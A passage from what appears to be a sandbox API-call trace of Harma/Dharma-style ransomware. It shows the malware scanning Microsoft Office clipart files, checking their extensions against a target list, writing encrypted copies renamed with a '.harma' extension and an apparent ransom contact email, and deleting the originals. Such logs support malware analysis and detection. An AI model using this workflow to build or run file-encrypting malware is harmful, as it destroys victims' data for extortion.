Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0168.886] lstrlenW (lpString=".doc") returned 4 [0168.886] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.886] lstrlenW (lpString=".docx") returned 5 [0168.886] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0168.886] lstrlenW (lpString=".pdf") returned 4 [0168.886] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.886] lstrlenW (lpString=".xls") returned 4 [0168.886] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.886] lstrlenW (lpString=".xlsx") returned 5 [0168.886] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0168.886] lstrlenW (lpString=".ppt") returned 4 [0168.886] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0168.886] lstrlenW (lpString=".zip") returned 4 [0168.886] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.886] lstrlenW (lpString=".rar") returned 4 [0168.886] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.886] lstrlenW (lpString=".bz2") returned 4 [0168.886] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.886] lstrlenW (lpString=".7z") returned 3 [0168.886] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0168.886] lstrlenW (lpString=".dbf") returned 4 [0168.886] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0168.887] lstrlenW (lpString=".1cd") returned 4 [0168.887] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0168.887] lstrlenW (lpString=".jpg") returned 4 [0168.887] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.887] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0168.887] lstrlenW (lpString="J0105526.WMF") returned 12 [0168.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0168.888] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=17332) returned 1 [0168.888] CloseHandle (hObject=0x338) returned 1 [0168.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf")) returned 0x20 [0168.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0168.888] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.888] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0168.890] GetLastError () returned 0x0 [0168.890] ReadFile (in: hFile=0x338, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x43b4, lpOverlapped=0x0) returned 1 [0169.007] WriteFile (in: hFile=0x370, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x43c0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x43c0, lpOverlapped=0x0) returned 1 [0169.008] ReadFile (in: hFile=0x338, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0169.008] WriteFile (in: hFile=0x370, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0169.008] SetEndOfFile (hFile=0x370) returned 1 [0169.008] CloseHandle (hObject=0x370) returned 1 [0169.008] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.008] SetEndOfFile (hFile=0x338) returned 1 [0169.011] CloseHandle (hObject=0x338) returned 1 [0169.011] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0169.011] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf")) returned 1 [0169.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0169.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0169.012] lstrlenW (lpString=".doc") returned 4 [0169.012] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.012] lstrlenW (lpString=".docx") returned 5 [0169.012] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0169.012] lstrlenW (lpString=".pdf") returned 4 [0169.012] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.012] lstrlenW (lpString=".xls") returned 4 [0169.013] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.013] lstrlenW (lpString=".xlsx") returned 5 [0169.013] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0169.013] lstrlenW (lpString=".ppt") returned 4 [0169.013] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0169.013] lstrlenW (lpString=".zip") returned 4 [0169.013] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.013] lstrlenW (lpString=".rar") returned 4 [0169.013] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.013] lstrlenW (lpString=".bz2") returned 4 [0169.013] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.013] lstrlenW (lpString=".7z") returned 3 [0169.013] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0169.013] lstrlenW (lpString=".dbf") returned 4 [0169.013] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0169.014] lstrlenW (lpString=".1cd") returned 4 [0169.014] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0169.014] lstrlenW (lpString=".jpg") returned 4 [0169.014] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0169.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0169.014] lstrlenW (lpString=".doc") returned 4 [0169.014] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.014] lstrlenW (lpString=".docx") returned 5 [0169.014] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0169.014] lstrlenW (lpString=".pdf") returned 4 [0169.014] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.014] lstrlenW (lpString=".xls") returned 4 [0169.014] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.014] lstrlenW (lpString=".xlsx") returned 5 [0169.014] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0169.014] lstrlenW (lpString=".ppt") returned 4 [0169.014] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0169.014] lstrlenW (lpString=".zip") returned 4 [0169.014] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.014] lstrlenW (lpString=".rar") returned 4 [0169.014] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.015] lstrlenW (lpString=".bz2") returned 4 [0169.015] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.015] lstrlenW (lpString=".7z") returned 3 [0169.015] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0169.015] lstrlenW (lpString=".dbf") returned 4 [0169.015] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0169.015] lstrlenW (lpString=".1cd") returned 4 [0169.015] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0169.015] lstrlenW (lpString=".jpg") returned 4 [0169.015] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.015] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0169.015] lstrlenW (lpString="J0105638.WMF") returned 12 [0169.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0169.031] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=10364) returned 1 [0169.031] CloseHandle (hObject=0x364) returned 1 [0169.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf")) returned 0x20 [0169.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0169.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0169.033] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.033] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0169.034] GetLastError () returned 0x0 [0169.034] ReadFile (in: hFile=0x364, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x287c, lpOverlapped=0x0) returned 1 [0169.148] WriteFile (in: hFile=0x338, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x2880, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x2880, lpOverlapped=0x0) returned 1 [0169.150] ReadFile (in: hFile=0x364, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0169.150] WriteFile (in: hFile=0x338, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0169.150] SetEndOfFile (hFile=0x338) returned 1 [0169.150] CloseHandle (hObject=0x338) returned 1 [0169.150] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.150] SetEndOfFile (hFile=0x364) returned 1 [0169.153] CloseHandle (hObject=0x364) returned 1 [0169.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0169.154] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf")) returned 1 [0169.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0169.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0169.155] lstrlenW (lpString=".doc") returned 4 [0169.155] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.156] lstrlenW (lpString=".docx") returned 5 [0169.156] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0169.156] lstrlenW (lpString=".pdf") returned 4 [0169.156] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.156] lstrlenW (lpString=".xls") returned 4 [0169.156] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.156] lstrlenW (lpString=".xlsx") returned 5 [0169.156] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0169.156] lstrlenW (lpString=".ppt") returned 4 [0169.156] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0169.156] lstrlenW (lpString=".zip") returned 4 [0169.156] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.156] lstrlenW (lpString=".rar") returned 4 [0169.156] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.156] lstrlenW (lpString=".bz2") returned 4 [0169.156] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.156] lstrlenW (lpString=".7z") returned 3 [0169.156] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0169.156] lstrlenW (lpString=".dbf") returned 4 [0169.156] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0169.156] lstrlenW (lpString=".1cd") returned 4 [0169.156] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0169.157] lstrlenW (lpString=".jpg") returned 4 [0169.157] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0169.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0169.157] lstrlenW (lpString=".doc") returned 4 [0169.157] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.157] lstrlenW (lpString=".docx") returned 5 [0169.157] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0169.157] lstrlenW (lpString=".pdf") returned 4 [0169.157] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.157] lstrlenW (lpString=".xls") returned 4 [0169.157] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.157] lstrlenW (lpString=".xlsx") returned 5 [0169.157] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0169.157] lstrlenW (lpString=".ppt") returned 4 [0169.157] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0169.157] lstrlenW (lpString=".zip") returned 4 [0169.157] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.157] lstrlenW (lpString=".rar") returned 4 [0169.157] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.157] lstrlenW (lpString=".bz2") returned 4 [0169.157] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.157] lstrlenW (lpString=".7z") returned 3 [0169.158] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0169.158] lstrlenW (lpString=".dbf") returned 4 [0169.158] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0169.158] lstrlenW (lpString=".1cd") returned 4 [0169.158] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0169.158] lstrlenW (lpString=".jpg") returned 4 [0169.158] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.158] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0169.158] lstrlenW (lpString="J0105912.WMF") returned 12 [0169.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0169.269] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=11720) returned 1 [0169.269] CloseHandle (hObject=0x39c) returned 1 [0169.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf")) returned 0x20 [0169.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0169.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0169.273] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.273] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0169.274] GetLastError () returned 0x0 [0169.274] ReadFile (in: hFile=0x39c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x2dc8, lpOverlapped=0x0) returned 1 [0169.591] WriteFile (in: hFile=0x348, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x2dd0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x2dd0, lpOverlapped=0x0) returned 1 [0169.592] ReadFile (in: hFile=0x39c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0169.592] WriteFile (in: hFile=0x348, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0169.592] SetEndOfFile (hFile=0x348) returned 1 [0169.592] CloseHandle (hObject=0x348) returned 1 [0169.592] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.593] SetEndOfFile (hFile=0x39c) returned 1 [0169.595] CloseHandle (hObject=0x39c) returned 1 [0169.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0169.595] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf")) returned 1 [0169.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0169.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0169.596] lstrlenW (lpString=".doc") returned 4 [0169.596] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.596] lstrlenW (lpString=".docx") returned 5 [0169.596] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0169.596] lstrlenW (lpString=".pdf") returned 4 [0169.596] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.596] lstrlenW (lpString=".xls") returned 4 [0169.596] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.596] lstrlenW (lpString=".xlsx") returned 5 [0169.596] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0169.596] lstrlenW (lpString=".ppt") returned 4 [0169.596] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0169.596] lstrlenW (lpString=".zip") returned 4 [0169.596] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.597] lstrlenW (lpString=".rar") returned 4 [0169.597] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.597] lstrlenW (lpString=".bz2") returned 4 [0169.597] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.597] lstrlenW (lpString=".7z") returned 3 [0169.597] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0169.597] lstrlenW (lpString=".dbf") returned 4 [0169.597] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0169.597] lstrlenW (lpString=".1cd") returned 4 [0169.597] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0169.597] lstrlenW (lpString=".jpg") returned 4 [0169.597] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0169.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0169.597] lstrlenW (lpString=".doc") returned 4 [0169.597] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.597] lstrlenW (lpString=".docx") returned 5 [0169.597] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0169.597] lstrlenW (lpString=".pdf") returned 4 [0169.597] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.597] lstrlenW (lpString=".xls") returned 4 [0169.597] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.597] lstrlenW (lpString=".xlsx") returned 5 [0169.597] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0169.597] lstrlenW (lpString=".ppt") returned 4 [0169.597] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0169.598] lstrlenW 